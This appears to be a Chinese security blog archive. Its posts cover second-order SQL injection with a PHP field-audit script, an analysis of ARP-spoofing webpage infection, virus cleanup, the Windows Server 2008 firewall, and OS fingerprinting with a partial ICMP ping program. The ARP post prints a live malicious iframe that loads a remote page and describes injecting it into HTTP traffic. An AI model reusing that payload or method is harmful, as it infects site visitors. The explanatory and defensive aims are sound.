处理流程 用户的输入==========> 程序处理(过滤)=========> 数据存储 ==========> 程序处理==========>输出给用户

数据流程 原始的数据如’=======> 程序处理(安全的数据如\’)==> Mysql里存储(原始的数据如’)========>程序处理(处理的是’)=========>输出给用户

可以看到,如果用户的输入暂时性地存储在数据库里然后被取出来使用而没有加过滤的话是很危险的,因为这个时候数据就是用户输入的最原始的数据不受GPC等安全措施保护,另外就是这种漏洞触发的条件比直接用户的输入要多一些操作,所以一般的测试比较难发现,而会被误认为是安全的。

上面的模型只是简单地说明问题的存在,实际情况里完全不局限于上面提到的’和mysql等等,实际上,动网使用的将一个’转换成’’的处理Sql 注射的方法还是很危险的,就很容易遭受这种攻击,事实上我也发现过这种问题:)从程序员的角度想想,什么时候会现这种安全问题呢?数据需要暂时地存储在某个地方,然后在另外的地方需要从里面取出来进行操作,那么什么时候会这样什么时候容易出现问题呢?譬如注册的时候的用户名,如果允许’的话就等于是把祸根引入了,因为很多地方都需要使用用户名,而且用户名是存储在数据库里的,如果在后面的操作里不小心把用户名取出来直接送到数据库操作里就会出现问题(或者是将用户名放到session里然后进行操作),这种情况下可以看成是数据库到数据库的操作,不受GPC影响当然会出问题啦!当然问题不只是’,用于文件操作的\0呢?通常会被addslashe的\0,如果有从数据库直接到文件操作的数据流程,危险是很大的。而且在程序员的眼睛里,可能无意识地认为从数据库里出来的东西都是经过检查的东西,但是事实上常常相反。

那么如何避免并且检测这种漏洞呢?对于开发者首先就是良好的编程习惯以及安全意识,明白数据库以及缓存文件里出来的东西一样不安全,其次就是在进行数据过滤的时候,不要只是暂时地让数据失去危害,可以考虑永久地让数据失去危害,譬如在过滤的时候不是将’变成\’等,而是在条件允许的情况下将其直接转换成HTML字符',这样并不影响显示但是数据却不再会包含让数据库的元字符所以不用担心注射了,其他的字符可以一样考虑处理。另外就是尽量对数据库进行严格的设计,实际上在存储的过程中有一层隐含的数据过滤,譬如数据字段的大小限制了数据的长度,数据字段的类型限制了数据的类型,所以我们尽量在允许的条件下使用数字类型的字段,并且尽量将数据字段的大小缩小,无论是在存储还是安全上还是很有意义的。对于检测的人员来说,如果是白盒操作,可以将数据库的字符类型的字段取出来,然后在程序里检查这些字段的去向,实际上就是将视角放到隐含的输入上检查问题,譬如我这里就有段检查类型的代码:


/*Codz By 剑心*/

$host=’localhost’;

$user=’root’;

$password=’loveshell’;

$dbname=’discuzl’;

$link = mysql_connect($host, $user, $password);

if (!$link) {

die(’Could not connect: ’ . mysql_error());

}

echo "Connected successfully\r\n";

if(mysql_select_db($dbname, $link)) {

echo "Select Database successfully\r\n";

}

$result=mysql_list_tables($dbname);

while ($row = mysql_fetch_row($result)) {

print "Table: $row[0]\r\n";

print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";

$result2=mysql_query("show full fields from `$dbname`.`$row[0]`");

while ($row2 = mysql_fetch_row($result2)) {

if(strpos($row2[1],’int’)===false&&strpos($row2[1],’enum’)===false&&strpos($row2[1],’decimal’)===false&&strpos($row2[1],’date’)===false){

print "字段: $row2[0]\t\t属性: $row2[1]\r\n";

}

}

print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";

}

?>

然后就可以关注这些字段来检查问题了,当然并不是所有的字段都是可以控制的,关注对字段的insert update 操作可以知道输入可以有哪些更改,而select之后的操作可以检查这些字段将会进入哪些危险的操作,而如果是黑盒操作,因为代码的不透明就只能根据自己的一些探测来猜测对方的代码是如何实现的来检测是否含有二次漏洞了。

文章比较简单,期待更有意义的东西出来,譬如基于数据库的Fuzz等等。

47555病毒、Arp挂马原理技术剖析

47555病毒、Arp挂马原理技术剖析

不管是访问服务器上的任何网页,就连404的页面也会在<html>后加入:

<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,

挂马的位置在html标记左右,上面这段恶意代码,它会 每隔几秒加入代码,也就是说在输出具体的东西之前就被挂了,有时有有时又没有,不是网页源代码问题,也没有在网页源代码中加入恶意代码,即使重装服务器, 格式化重分区过第一个硬盘,放上去网站没多久一样再会出现这种情况.

首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网 站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题.

那么 剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后 基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的).

目的:通过arp欺骗来直接挂马

优点:可以直接通过arp欺骗来挂马.

通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码

但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码

2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

优点:1.可以不用获得目标主机的权限就可以直接在上面挂马

2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.

3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.

原理:arp中间人攻击,实际上相当于做了一次代理。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机

arp中间人攻击时候: A---->C---->B

B---->C---->A

实际上,C在这里做了一次代理的作用

那 么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是 正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

下载的Anti ARP Sniffer V3.6 免费版

*Anti ARP Sniffer V3.6是一款免费的软件,适合于个人用来监测是否存在ARP欺骗,即使整个局域网部署Anti ARP Sniffer 也不能彻底解决ARP攻击问题,请使用彩影网盾保护整个网络。

能查出此服务器区中,另一台有问题的MAC地址,告诉了网管,后来网管把这台服务器网线给剪了。

什么是ARP?

英文原义:Address Resolution Protocol

中文释义:(RFC-826)地址解析协议

局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址以保证通信的顺利进行。

注 解:简单地说,ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址,即网卡的MAC地址,比如IP地址为192.168.0.1网 卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包,即ARP请求,然后目标主机 向该主机发送一个含有IP地址和MAC地址数据包,通过MAC地址两个主机就可以实现数据传输了。

应用:在安装了以太网网络适配器 的计算机中都有专门的ARP缓存,包含一个或多个表,用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息, 可以使用arp命令来完成,比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容;键入 “arp -d IPaddress”表示删除指定的IP地址项(IPaddress表示IP地址)。arp命令的其他用法可以键入“arp /?”查看 到。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机

arp中间人攻击时候: A---->C---->B

B---->C---->A

实际上,C在这里做了一次代理的作用

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

如何判断和清除局域网内的隐性病毒

  各种病毒时至今日也可算是百花齐放了,搞得人心惶惶,一旦发现自己的电脑有点异常就认定是病毒在作怪,到处找杀毒软件,总之似乎不找到"元凶"誓不罢休一样,结果病毒软件是用了一个又一个,但结果有时却往往在意料之外。

  病毒藏匿

  任何病毒和木马存在于系统中,都无法彻底和进程脱离关系,即使采用了隐藏技术,也还是能够从进程中找到蛛丝马迹,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法。但是系统中同时运行的进程那么多,哪些是正常的系统进程,哪些是木马的进程,而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?

  当我们确认系统中存在病毒时,可以通过“任务管理器”查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施,我们定义这种现象病毒为隐性病毒,常见隐性病毒的有以下几种情况:

  一、真假难辨

  我们知道系统中的正常进程有:svchost.exe、explorer.exe、iexplore.exe等,可能你发现过系统中存在这样的进程:svch0st.exe、explore.exe、iexplorer.exe、winlogin.exe。对比一下,发现区别了么?这是病毒经常使用的伎俩,目的就是迷惑用户的眼睛。通常它们会将系统中正常进程名的o改为0,l改为i,i改为j,然后成为自己的进程名,仅仅一字之差,意义却完全不同。又或者多一个字母或少一个字母,例如explorer.exe和iexplore.exe本来就容易搞混,再出现个iexplorer.exe就更加混乱了。如果用户不仔细,一般就忽略了,病毒的进程就逃过了一劫。

  二、表里不一

  如果一个进程的名字为svchost.exe,和正常的系统进程名分毫不差。那么这个进程是不是就安全了呢?非也,其实它只是利用了“任务管理器”无法查看进程对应可执行文件这一缺陷。我们知道svchost.exe进程对应的可执行文件位于“C:\WINDOWS\system32”目录下(Windows2003则是C:\WINNT\system32目录),如果病毒将自身复制到“C:\WINDOWS\”中,并改名为svchost.exe,运行后,我们在“任务管理器”中看到的也是svchost.exe,和正常的系统进程无异。你能辨别出其中哪一个是病毒的进程?

  我们知道病毒种类很多,只要我们仔细地去发现,总能找到病毒源头。因为病毒传播的途径在不断地变化,黑客才能达到想要的目的,所以我们清除病毒方法也不能固定不变的,但是给我们清除病毒带来一定的困难,可以根据你的计算机所中病毒特征,判断出并借鉴哪种策略来清除病毒目的。

  病毒清理总汇

  一、在安全模式或纯DOS模式下清除病毒

  当计算机感染病毒的时候,绝大多数的感染病毒的处理可以在正常模式下彻底清除病毒,这里说的正常模式准确的说法应该是实模式(Real Mode),这里通俗点说了。其包括正常模式的 Windows 和正常模式的 Windows 下的 "MS-DOS 方式 " 或 " 命令提示符 " 。 但有些病毒由于使用了更加隐匿和狡猾的手段往往会对杀毒软件进行攻击甚至是删除系统中的杀毒软件的做法,针对这样的病毒绝大多数的杀毒软件都被设计为在安全模式可安装、使用、执行杀毒处理。在安全模式(Safe Mode)或者纯DOS下进行清除清除时,对于现在大多数流行的病毒,如蠕虫病毒、木马程序和网页代码病毒等,都可以在安全模式下彻底清除的,不必要像以前那样必须要用软盘启动杀毒;但对于一些引导区病毒和感染可执行文件的病毒才需要在纯 DOS下杀毒(建议用干净软盘启动杀毒)。而且,当计算机原来就感染了病毒,那就更需要在安装反病毒软件后(升级到最新的病毒库),在安全模式(Safe Mode)或者纯DOS下清除一遍病毒了!

  二、带毒文件在一些邮件文件中

  绝大多数的防毒软件可以直接检查这些邮件文件中的文件是否带毒,对于邮箱中的带毒的信件,可以根据用户的设置杀毒或删除带毒邮件,但是由于此类邮箱的复合文件结构,易出现杀毒后的邮箱依旧可以检测到病毒情况,这是由于没有压缩邮箱进行空间释放的原因导致的,您可以尝试在 Outlook Express 中选择“工具” — 〉“选项” — 〉“维护” — 〉“立即清除” — 〉“压缩” ,删除所有脱机内容 ,也请选上一并删除。

  三、带毒文件在 Restore 目录下,*.cpy 文件中

  这是系统还原存放还原文件的目录,只有在装了Windows Me/XP/VISTA操作系统上才会有这个目录,由于系统对这个目录有保护作用。对于这种情况需要先取消" 系统还原 " 功能,然后将带毒文件删除,甚至将整个目录删除也是可以的。

  四、带毒文件在.rar 、.zip 、.cab 等压缩文件中

  对于绝大多数的反病毒软件来说,现在的查杀压缩文件中病毒的功能已经基本完善了,单是对于一些特殊类型的压缩文件或者加了密码保护的压缩文件就可能直接清除了。要清除压缩文件中的病毒,建议解压缩后清除,或者借助压缩工具软件的外挂杀毒程序的功能,对带毒的压缩文件进行杀毒。

  五、文件中存在病毒的残留代码

  这种情况比较多见的就是带有 CIH 、Funlove 、宏病毒(包括 Word 、 Excel 、 Powerpoint 和 Wordpro 等文档中的宏病毒)和个别网页病毒的残留代码,通常防毒软件对这些带有病毒残留代码的文件报告的病毒名称后缀通常是 int 等结尾,而且并不常见,如 W32/FunLove.app 、W32.Funlove.int 。一般情况下,这些残留的代码不会影响正常程序的运行,也不会传染,如果需要彻底清除的话,要根据各个病毒的实际情况进行清除。也可以借助相关的清除工具及修改注册表来完成。

  六、共享目录杀毒

  遇到本地共享的目录中的带毒文件不能清除的情况,通常是局域网中别的用户在读写这些文件时,杀毒的时候表现为无法直接清除这些带毒文件中的病毒,如果是有病毒在对这些目录在写病毒操作,表现为对共享目录进行清除病毒操作后,还是不断有文件被感染或者不断生成新病毒文件。以上这两种情况,都建议取消共享,然后针对共享目录进行彻底查杀,恢复共享的时候,注意不要开放太高的权限,并对共享目录加设密码。 对远程的共享目录(包括映射盘)查杀病毒的时候,首先要保证本地计算机的操作系统是干净的,同时对共享目录也有最高的读写权限。如果是远程计算机感染病毒的话,建议还是直接在远程计算机进行查杀病毒。特别的,如果在清除别的病毒的时侯都建议取消所有的本地共享,再进行杀毒操作。在平时的使用中,也应注意共享目录的安全性,加设密码,同时,非必要的情况下,不要直接读取远程共享目录中的文件,建议拷贝到本地检查过病毒后再进行操作。

如何配置Windows Server 2008高级防火墙

微软的Windows Server 2003中防火墙的功能如此之简陋,让很多系统管理员将其视为鸡肋,它一直是一个简单的、仅支持入站防护、基于主机的状态防火墙.而随着Windows Server 2008的日渐向我们走近,其内置的防火墙功能得到了巨大的改进.下面让我们一起来看一下这个新的高级防火墙将如何帮助我们防护系统,以及如何使用管理控制台单元来配置它.

  为什么你应该使用这个Windows的基于主机的防火墙?

  今天许多公司正在使用外置安全硬件的方式来加固它们的网络。 这意味着,它们使用防火墙和入侵保护系统在它们的网络周围建立起了一道铜墙铁壁,保护它们自然免受互联网上恶意攻击者的入侵。但是,如果一个攻击者能够攻 破外围的防线,从而获得对内部网络的访问,将只有Windows认证安全来阻止他们来访问公司最有价值的资产-它们的数据。

  这是因为大多数IT人士没有使用基于主机的防火墙来加固他们的服务器的安全。为什么会出现这样的情况呢?因为多数IT人士认为,部署基于主机的防火墙所带来的麻烦要大于它们带来的价值。

  我希望在您读完这篇文章后,能够花一点时间来考虑Windows这个基于主机的防火墙。在Windows Server 2008中,这个基于主机的防火墙被内置在Windows中,已经被预先安装,与前面版本相比具有更多功能,而且更容易配置。它是加固一个关键的基础服务器的 最好方法之一。具有高级安全性的 Windows 防火墙结合了主机防火墙和IPSec。与边界防火墙不同,具有高级安全性的 Windows 防火墙在每台运行此版本 Windows 的计算机上运行,并对可能穿越边界网络或源于组织内部的网络攻击提供本地保护。它还提供计算机到计算机的连接安全,使您可以对通信要求身份验证和数据保护。

  那么,这个Windows Server高级防火墙可以为你做什么,你又该如何配置它?让我们继续看下去。

  

  新防火墙具备的功能及对你的帮助

  这个Windows Server 2008中的内置防火墙现在“高级”了。这不仅仅是我说它高级,微软现在已经将其称为高级安全Windows防火墙(简称WFAS)。

  以下是可以证明它这个新名字的新功能:

  1、新的图形化界面。

  现在通过一个管理控制台单元来配置这个高级防火墙。

  2、双向保护。

  对出站、入站通信进行过滤。

  3、与IPSEC更好的配合。

  具有高级安全性的Windows防火墙将Windows防火墙功能和Internet 协议安全(IPSec)集成到一个控制台中。使用这些高级选项可以按照环境所需的方式配置密钥交换、数据保护(完整性和加密)以及身份验证设置。

  4、高级规则配置。

  你可以针对Windows Server上的各种对象创建防火墙规则,配置防火墙规则以确定阻止还是允许流量通过具有高级安全性的Windows防火墙。

  传入数据包到达计算机时,具有高级安全性的Windows防火墙检查该数据包,并确定它是否符合防火墙规则中指 定的标准。如果数据包与规则中的标准匹配,则具有高级安全性的Windows防火墙执行规则中指定的操作,即阻止连接或允许连接。如果数据包与规则中的标 准不匹配,则具有高级安全性的Windows防火墙丢弃该数据包,并在防火墙日志文件中创建条目(如果启用了日志记录)。

  对规则进行配置时,可以从各种标准中进行选择:例如应用程序名称、系统服务名称、TCP端口、UDP端口、本地IP地址、远程IP地址、配置文件、接口类型(如网络适配器)、用户、用户组、计算机、计算机组、协议、ICMP类型等。规则中的标准添加在一起;添加的标准越多,具有高级安全性的Windows防火墙匹配传入流量就越精细。

  通过增加双向防护功能、一个更好的图形界面和高级的规则配置,这个高级安全Windows防火墙正在变得和传统的基于主机的防火墙一样强大,例如ZoneAlarm Pro等。

  我知道任何服务器管理员在使用一个基于主机的防火墙时首先想到的是:它是否会影响这个关键服务器基 础应用的正常工作?然而对于任何安全措施这都是一个可能存在的问题,Windows 2008高级安全防火墙会自动的为添加到这个服务器的任何新角色自动配置新的规则。但是,如果你在你的服务器上运行一个非微软的应用程序,而且它需要入站 网络连接的话,你将必须根据通信的类型来创建一个新的规则。

  通过使用这个高级防火墙,你可以更好的加固你的服务器以免遭攻击,让你的服务器不被利用去攻击别人,以及真正确定什么数据在进出你的服务器。下面让我们看一下如何来实现这些目的。

   了解配置Windows防火墙高级安全性的选择

  在以前Windows Server中,你可以在去配置你的网络适配器或从控制面板中来配置Windows防火墙。这个配置是非常简单的。

  对于Windows高级安全防火墙,大多数管理员可以或者从Windows服务器管理器配置它,或者从只有Windows高级安全防火墙MMC管理单元中配置它。以下是两个配置界面的截图:



图1、Windows Server 2008服务器管理器



图2、Windows 2008高级安全防火墙管理控制台

  我发现启动这个Windows高级安全防火墙的最简单最快速的方法是,在开始菜单的搜索框中键入‘防火墙’,如下图:



图3、快速启动Windows 2008高级安全防火墙管理控制台的方法

  另外,你还可以用配置网络组件设置的命令行工具Netsh来配置Windows高级安全防火墙。使用 netsh advfirewall可以创建脚本,以便自动同时为IPv4和IPv6流量配置一组具有高级安全性的Windows防火墙设置。还可以使用netsh advfirewall命令显示具有高级安全性的Windows防火墙的配置和状态。

使用新的Windows高级安全防火墙MMC管理单元能配置什么?

  由于使用这个新的防火墙管理控制台你可以配置如此众多的功能,我不可能面面俱道的提到它们。如果你曾经看过Windows 2003内置防火墙的配置图形界面,你会迅速的发现在这个新的Windows高级安全防火墙中躲了如此众多的选项。下面让我选其中一些最常用的功能来介绍给大家。

  默认情况下,当你第一次进入Windows高级安全防火墙管理控制台的时候,你将看到Windows高级安全防火墙默认开启,并且阻挡不匹配入站规则的入站连接。此外,这个新的出站防火墙默认被关闭。

  你将注意的其他事情是,这个Windows高级安全防火墙还有多个配置文件供用户选择。



图4、在Windows 2008高级安全防火墙中提供的配置文件

  在这个Windows高级安全防火墙中有一个域配置文件、专用配置文件和公用配置文件。配置文件是一种分组设置的方法,如防火墙规则和连接安全规则,根据计算机连接的位置将其应用于该计算机。例如根据你的计算机是在企业局域网中还是在本地咖啡店中。

  在我看来,在我们讨论过的Windows 2008高级安全防火墙的所有改进中,意义最重大的改进当属更复杂的防火墙规则。看一下在Windows Server 2003防火墙增加一个例外的选项,如下图:



图5、Windows 2003 Server防火墙例外窗口

  再来对比一下Windows 2008 Server中的配置窗口。



图6、Windows 2008 Server高级防火墙例外设置窗口

注意协议和端口标签只是这个多标签窗口中的一小部分。你还可以将规则应用到用户及计算机、程序和服务以及IP地址范围。通过这种复杂的防火墙规则配置,微软已经将Windows高级安全防火墙朝着微软的IAS Server发展。

  Windows高级安全防火墙所提供的默认规则的数量也是令人吃惊的。在Windows 2003 Server中,只有三个默认的例外规则。而Windows 2008高级安全防火墙提供了大约90个默认入站防火墙规则和至少40个默认外出规则。



图7、Windows 2008 Server高级防火墙默认入站规则

  那么你如何使用这个新的Windows高级防火墙创建一个规则呢?让我们接下来看一下。

  

  如何创建一个定制的入站规则?

  假如说你已经在你的Windows 2008 Server上安装了Windows版的Apache网站服务器。如果你已经使用了Windows内置的IIS网站服务器,这个端口自动会为你打开。但是,由于你现在使用一个来自第三方的网站服务器,而且你打开了入站防火墙,你必须手动的打开这个窗口。

  以下是步骤:

  ·识别你要屏蔽的协议-在我们的例子中,它是TCP/IP(与之对应的则是UDP/IP或ICMP)。

  ·识别源IP地址、源端口号、目的IP地址和目的端口。我们进行的Web通信是来自于任何IP地址和任何端口号并流向这个服务器80端口的数据通信。(注意,你可以为一个特定的程序创建一条规则,诸如这儿的apache HTTP服务器)。

  ·打开Windows高级安全防火墙管理控制台。

  ·增加规则-点击在Windows高级安全防火墙MMC中的新建规则按钮,开始启动新规则的向导。



图8、Windows 2008 Server高级防火墙管理控制台-新建规则按钮

·为一个端口选择你想要创建的规则。

  ·配置协议及端口号-选择默认的TCP协议,并输入80作为端口,然后点击下一步。

  ·选择默认的“允许连接”并点击下一步。

  ·选择默认的应用这条规则到所有配置文件,并点击下一步。

  ·给这个规则起一个名字,然后点击下一步。

  这时候,你将得到如下图的一条规则:



图9、创建规则后的Windows 2008 Server高级防火墙管理控制台

  经过我测试,当不启用这个规则的时候,我最近安装的Apache网站服务器不能正常工作。但是,创建了这个规则后,它可以正常工作了!

  

  结论:大有改进 值得一试

  具有防火墙配置文件、复杂的规则设置和原先30倍数量的默认规则,还有本文中未提到很多高级安全功 能,Windows 2008 Server高级安全防火墙的确名副其实,真正是一个微软所说的高级防火墙。我相信这个内置、免费、高级的基于主机的防火墙将确保Windows Server未来变得更加安全。但是,如果你不使用它,它不会对你有任何帮助。因此我希望你今天就来体验一下这个新的Windows高级防火墙。

星期五, 十月 12, 2007

入侵技术介绍——目标探测

计划介绍的内容包括信息收集,探测,渗透,帐号破解,入侵攻击,清除踪迹,后门制作等等(庞大的计划),主要都是从实现上来讲的(使用其他工具的不是计划内),其中的代码都需要自己写。不过我时间有限,写一次需要很长时间,也许一段时间内没时间写。那也怪不得我哦。不过,只希望能够让更多人脱离“工具黑客”,去看看实际到底是什么,然后去自己探索应该是什么。
写这个的目的不是教人怎么入侵怎么“黑”,只是让更多人去学习,去研究。

欢迎交流,Email: refdom@263.net

声明:所有都是属于一种技术上的研究和探讨,如果有人利用下面涉及的技术进行破坏等,与本人无任何关系!
************************************************************************

主机识别技术

作者: Refdom,
EmaiL: Refdom@263.net
2002/1/28

大多数的端口扫描就是让我们能够达到这样的目的:
1、让我们能够大致判断目标是什么操作系统
2、目标到底在运行些什么服务
当然,要得到这些东西还是最后为了让我们能够知道哪些可能拿来利用,可能存在的漏洞。很多工具提供的扫描也可能就直接得到什么操作系统了,或者相对应的端口使用的是什么程序,程序是什么版本的等等。不过,这些都是由那些工具自己做了,不讨论这个,我们应该去想想这些工具到底是怎么去实现的。

正如Fyodor(nmap的作者)在他的《Remote OS detection via TCP/IP Stack FingerPrinting》中讲解的进行主机识别的两个作用,第一,很多系统漏洞是同OS密切相关的,还有就是社会学(social engineering)问题,你能够在非常了解对方的系统之后,冒充软件提供商给目标发送“补丁”。

按照我们上面提到的高级扫描方式,直接进行的端口扫描,能够赋予我们绕过防火墙的能力,而且可以尽可能地隐藏自己等等,但是,我们能够得到的信息也是有限的,也许对是否开放一个端口并不是那么直接地感兴趣,比如一个21端口,我们真正感兴趣的是这个端口被用来作什么了,运行地什么版本的程序,也就是,我们对下面得到地这个东西更感兴趣(关系到IP的地方,我都用X代替了):

C:\>ftp XXX.XXX.XXX.XXX
Connected to XXX.XXX.XXX.XXX.
220 XXXXX X2 WS_FTP Server 1.0.5 (1327846197)
User (XXX.XXX.XXX.XXX:(none)):

其实,这就是一种最简单和最直接的判别方式。我们可以对每个打开的端口进行相应的连接,通常这些服务程序就会非常高兴地显示自己的“banner”,也就让我们能够直接得到他是什么版本了。甚至,我们能够得到更好的东西:

C:\>telnet XXX.XXX.XXX.XXX
Red Hat Linux release 7.1 (Seawolf)
Kernel 2.4.2-2 on an i686
login:

这让我们对操作系统版本一览无余了。正象这些只对80端口感兴趣的“黑客”一样,通过对80端口的连接,我们也能得到足够多的信息。

C:\>telnet XXX.XXX.XXX.XXX 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Via: 1.1 ADSL2000
Content-Length: 97
Date: Thu, 24 Jan 2002 13:46:56 GMT
Content-Type: text/html
Server: Apache/1.3.20 (Unix) PHP/4.0.6
Last-Modified: Wed, 26 Dec 2001 09:22:54 GMT
ETag: "8715f-61-3c2996ee"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100

可以注意到:Server: Apache/1.3.20 (Unix) PHP/4.0.6

这样直接的连接探测方式,对于这些banner开放的,简直是太容易了,当然,负责的管理员也会屏蔽或者修改掉这些BANNER。

还有一种粗劣而且简单的判别主机操作系统类型的办法就是通过Ping,然后分析得到的TTL值,当然,稍微准确点可以同时在配合Tracert来确定主机原始的TTL值,不过,这种办法很容易被欺骗,比如,在WINDOWS系统中,对注册表的修改:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
Key: DefaultTTL

对主机使用端口的分析,同样也能够进行操作系统识别,一些操作系统使用特殊的端口,比如:WINDOWS的137、139,WIN2K的445,而且一些网络设备比如入侵检测系统、防火墙等等也都有厂商自己的端口开放。

高级的主机识别技术主要分为主动协议识别和被动协议识别,都是利用各种操作系统在网络协议通讯中不同的协议内容,然后进行分析进行的识别。

Nmap这个强大的扫描工具在远程主机判断上也使用了很多技术,来实现更高级的主机系统检测。这主要是通过主动的TCP/IP协议辨识来实现的,每种OS,在TCP交流中总是使用一些具有特性的标志,这些标志在TCP IP数据包的头中。比如window、ACK序号、TTL等等的不同反应,通过大量的数据分析,然后精确地判断主机系统。在之后,Fyodor 和Ofir又分析和收集利用ICMP协议的操作系统特性来进行的主机系统判别,这种主动的识别方式都经过了大量的分析,在《Remote OS detection via TCP/IP Stack FingerPrinting》(http://www.insecure.org/nmap/nmap-fingerprinting-article.html)和Phrack #57《ICMP based remote OS TCP/IP stack fingerprinting techniques》有详细的技术细节,我就不再多嘴了。

和主动的协议识别原理相同,Lance Spitzner在《Passive Fingerprinting》中提出了被动的协议识别,同样用来判别主机系统。这种办法主要集中考虑:
1、TTL的设置
2、WINDOW SIZE:操作系统设置的窗口大小
3、DF:操作系统是否设置分片位
4、TOS:操作系统设置的服务类型

比如多数系统使用DF位设置,但是有些系统如SCO和OPENBSD不使用这个DF标志,这样就可以用来识别一些没有设置DF位的操作系统。被动协议识别也可以用来判断远程代理防火墙,因为代理防火墙重建对客户的连接,它有它自身的特征代码,也可以用这样的办法来分析。在(http://the.wiretapped.net/security/info/papers/security /lance-spitzner/finger.html)可以找到Lance Spitzner的这篇文章。

主动识别方式需要主动发送数据包,因此相对于那些安全设备来说,也比较容易识别这些数据包,同被动识别比较起来,隐蔽性稍微差些。

Reference:
1、《X - Remote ICMP Based OS Fingerprinting Techniques》
2、Phrack #57《ICMP based remote OS TCP/IP stack fingerprinting techniques》
3、Fyodor《Remote OS detection via TCP/IP Stack FingerPrinting》
4、Lance Spitzner《Passive Fingerprinting》

计划介绍的内容包括信息收集,探测,渗透,帐号破解,入侵攻击,清除踪迹,后门制作等等(庞大的计划),主要都是从实现上来讲的(使用其他工具的不是计划内),其中的代码都需要自己写。不过我时间有限,写一次需要很长时间,也许一段时间内没时间写。那也怪不得我哦。不过,只希望能够让更多人脱离“工具黑客”,去看看实际到底是什么,然后去自己探索应该是什么。

写这个的目的不是教人怎么入侵怎么“黑”,只是让更多人去学习,去研究。

欢迎交流,Email: refdom@263.net

声明:所有都是属于一种技术上的研究和探讨,如果有人利用下面涉及的技术进行破坏等,与本人无任何关系!
************************************************************************

2、目标探测

确定目标并收集相关的周边信息之后,更直接地要接触目标的手段的就是进行探测了。探测一台主机包括是否活动、主机系统、正在使用哪些端口、提供了哪些服务、相关服务的软件版本等等
对这些内容的探测就是为了“对症下药”。

探测也就是大家所说的扫描,应该说扫描是最多使用工具的一个步骤,现在扫描工具也非常的多,从一般的Port Scanner到可以穿透防火墙的Scan 工具,比如强大的nmap,国内的X-Scanner、流光等等。在这里,我不是来介绍工具使用的,而主要是看看这些扫描工具到底是怎么来实现的。如果你喜欢上一个工具的话,也就表示你丧失了一次进步的机会。
这里都是一些简单的小程序,功能非常有限,只是为了说明实现原理而写的。有兴趣的可以自己做更广泛的修改,而实现更多的功能。

ICMP协议——PING是最常用的,也是最简单的探测手段,用来判断目标是否活动。实际上Ping是向目标发送一个要求回显(Type = 8)的ICMP数据报,当主机得到请求后,再返回一个回显(Type = 0)数据报。而且Ping 程序一般是直接实现在系统内核中的,而不是一个用户进程。我们也可以很容易实现一个Ping程序,这里我列出我写的一个简单Ping程序。

#include
#include

typedef struct ip_hdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;

typedef struct icmp_hdr
{
BYTE i_type; // ICMP报文类型
BYTE i_code; // ICMP代码
USHORT i_cksum; // 校验和
USHORT i_id; // 标志符
USHORT i_seq; // 序号
ULONG timestamp; // 时间戳
} ICMP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

void useage()
{
printf("******************************************\n");
